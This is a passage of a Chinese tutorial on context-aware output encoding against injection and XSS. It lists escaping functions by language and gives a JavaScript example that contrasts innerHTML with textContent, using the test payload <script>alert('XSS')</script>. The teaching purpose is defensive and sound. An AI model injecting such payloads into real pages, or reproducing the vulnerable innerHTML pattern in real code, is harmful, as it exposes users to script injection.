用户输入放到 URL 参数时:

https://example.com/search?q=用户输入

需要编码成:

https://example.com/search?q=%E7%94%A8%E6%88%B7%E8%BE%93%E5%85%A5

避免特殊字符破坏 URL 结构或注入。

3. 常用输出编码函数

编程语言/环境函数/库说明
JavaScripttextContent(DOM),encodeURIComponent安全插入文本内容,URL编码
Pythonhtml.escape()转义 HTML 特殊字符
Java (JSP)StringEscapeUtils.escapeHtml4()转义 HTML
PHPhtmlspecialchars()转义 HTML
Node.jshe(HTML entities)库转义和解码 HTML 实体

4. 示例

用 JavaScript 动态设置文本内容的安全写法

const userInput = "<script>alert('XSS')</script>";
const div = document.getElementById('comment');// 直接插入 innerHTML(危险)
// div.innerHTML = userInput; // 会执行脚本// 使用 textContent(安全)
div.textContent = userInput; // 会原样显示字符串,不执行

5. 总结输出编码原则

  • 永远对所有用户输入进行上下文相关的输出编码

  • 不同的输出位置用不同编码方法,不能统一用 HTML 编码。

  • 输出编码和输入过滤结合使用,安全更可靠。

  • 使用成熟库实现编码,不自己手写简单替换,避免遗漏和漏洞。

http://www.xdnf.cn/news/526879.html

相关文章:

  • Scala 访问修饰符
  • java基础-关键字:static、单例模式
  • JDBC指南
  • 【线下沙龙】NineData x Apache Doris x 阿里云联合举办数据库技术Meetup,5月24日深圳见!
  • [[春秋云境] Privilege仿真场景
  • ElasticSearch 8.x 快速上手并了解核心概念
  • 比较两个用于手写体识别的卷积神经网络(CNN)模型
  • PostgreSQL基本用法
  • 谷歌 NotebookLM 即将推出 Sparks 视频概览:Gemini 与 Deep Research 加持,可生成 1 - 3 分钟 AI 视频
  • 前缀和——和为K的子数组
  • 光纤克尔非线性效应及其在光通信系统中的补偿教程-3.2 克尔效应
  • 分布式与集群:概念、区别与协同
  • 没有 Mac,我如何用 Appuploader 完成 iOS App 上架
  • RabbitMQ的简介
  • React集成百度【JSAPI Three】教程(002):设置不同的环境效果
  • 数据结构(二) 线性表
  • java中的Servlet4.x详解
  • 湖北理元理律师事务所观察:债务服务中的“倾听者价值”
  • 深入解析Spring Boot与Kafka集成:构建高效消息驱动微服务
  • APP小程序抓包和下游代理
  • 云原生攻防2(Docker基础补充)
  • 2.微服务-配置
  • Fines for Parking vs. Free News
  • 云计算与大数据进阶 | 26、解锁云架构核心:深度解析可扩展数据库的5大策略与挑战(下)
  • Kotlin 协程
  • MySQL故障排查
  • 高效掌握二分查找:从基础到进阶
  • LED太阳光模拟器与氙灯太阳光模拟器的性能区别
  • Protobuf协议生成和使用
  • 5G金融互联:迈向未来金融服务的极速与智能新时代